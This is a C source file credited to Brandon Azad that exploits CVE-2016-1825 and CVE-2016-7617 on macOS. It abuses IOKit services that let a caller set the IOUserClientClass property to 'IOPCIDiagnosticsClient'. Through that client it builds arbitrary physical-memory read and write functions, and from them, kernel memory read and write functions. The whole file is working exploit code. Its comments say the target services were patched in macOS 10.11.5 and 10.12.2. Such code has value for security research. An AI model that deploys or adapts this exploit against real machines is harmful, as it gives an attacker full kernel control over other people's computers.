/* * physmem.c * Brandon Azad * * An exploit for CVE-2016-1825 and CVE-2016-7617 that allows reading and writing arbitrary * physical addresses on macOS. * * The physmem exploit gives us the ability to read arbitrary physical addresses. Fortunately, on * x86-64, kernel virtual addresses within the kernel image can be mapped directly to physical * addresses by masking off the upper 32 bits. This means we can implement kernel word read/write * primitives directly on top of our physical read/write primitives. */ #include "physmem.h" #include "fail.h" #include #include /* Definitions from IOPCIDevice.h */ enum { kIOPCIConfigSpace = 0, kIOPCIIOSpace = 1, kIOPCI32BitMemorySpace = 2, kIOPCI64BitMemorySpace = 3 }; /* Definitions from IOPCIPrivate.h */ enum { kIOPCIDiagnosticsMethodRead = 0, kIOPCIDiagnosticsMethodWrite = 1, kIOPCIDiagnosticsMethodCount }; struct IOPCIDiagnosticsParameters { uint32_t options; uint32_t spaceType; uint32_t bitWidth; uint32_t _resv; uint64_t value; union { uint64_t addr64; struct { unsigned int offset :16; unsigned int function :3; unsigned int device :5; unsigned int bus :8; unsigned int segment :16; unsigned int reserved :16; } pci; } address; }; /* * target_service * * Description: * The IOKit service that allows setting its IOUserClientClass property. * * Notes: * We're assuming that the target macOS version is specified using MACOSX_DEPLOYMENT_TARGET at * build time. This variable controls the value of __MAC_OS_X_VERSION_MIN_REQUIRED. */ #if __MAC_OS_X_VERSION_MIN_REQUIRED <= 101104 // Patched in 10.11.5: https://support.apple.com/en-us/HT206567 #define TARGET_SERVICE "IOHIDevice" #elif __MAC_OS_X_VERSION_MIN_REQUIRED <= 101201 // Patched in 10.12.2: https://support.apple.com/en-us/HT207423 #define TARGET_SERVICE "AppleBroadcomBluetoothHostController" #else #error No known IOKit classes allow setting the IOUserClientClass property for this version of macOS. #define TARGET_SERVICE NULL #endif static const char *target_service = TARGET_SERVICE; /* * connection * * Description: * A connection to an instance of IOPCIDiagnosticsClient through which we can access physical * memory. */ static io_connect_t connection; void physmem_init() { // Get a handle to a service that allows setting arbitrary IORegistry properties. io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(target_service)); if (service == IO_OBJECT_NULL) { FAIL("could not find any services matching %s", target_service); } kern_return_t kr = IORegistryEntrySetCFProperty(service, CFSTR("IOUserClientClass"), CFSTR("IOPCIDiagnosticsClient")); if (kr != KERN_SUCCESS) { FAIL("could not set property: %x", kr); } // Create a connection to the IOPCIDiagnosticsClient. kr = IOServiceOpen(service, mach_task_self(), 0, &connection); IOObjectRelease(service); if (kr != KERN_SUCCESS) { FAIL("could not open connection: %x", kr); } } uint64_t phys_read(uint64_t paddr, unsigned width) { struct IOPCIDiagnosticsParameters param; param.spaceType = kIOPCI64BitMemorySpace; param.bitWidth = width * 8; param.options = 0; param.address.addr64 = paddr; param.value = -1; size_t size = sizeof(param); kern_return_t kr = IOConnectCallMethod(connection, kIOPCIDiagnosticsMethodRead, NULL, 0, ¶m, sizeof(param), NULL, NULL, ¶m, &size); if (kr != KERN_SUCCESS) { FAIL("could not read physical address %p: %x", (void *)paddr, kr); } return param.value; } void phys_write(uint64_t paddr, uint64_t value, unsigned width) { struct IOPCIDiagnosticsParameters param; param.spaceType = kIOPCI64BitMemorySpace; param.bitWidth = width * 8; param.options = 0; param.address.addr64 = paddr; param.value = value; kern_return_t kr = IOConnectCallMethod(connection, kIOPCIDiagnosticsMethodWrite, NULL, 0, ¶m, sizeof(param), NULL, NULL, NULL, NULL); if (kr != KERN_SUCCESS) { FAIL("could not write physical address %p: %x", (void *)paddr, kr); } } /* * kernel_virtual_to_physical_mask * * Description: * A bit mask to convert kernel virutal addresses within the kernel image to physical * addresses. */ static const uint64_t kernel_virtual_to_physical_mask = 0xffffffff; uint64_t kern_read(uint64_t kaddr, unsigned width) { return phys_read(kaddr & kernel_virtual_to_physical_mask, width); } void kern_write(uint64_t kaddr, uint64_t value, unsigned width) { phys_write(kaddr & kernel_virtual_to_physical_mask, value, width); }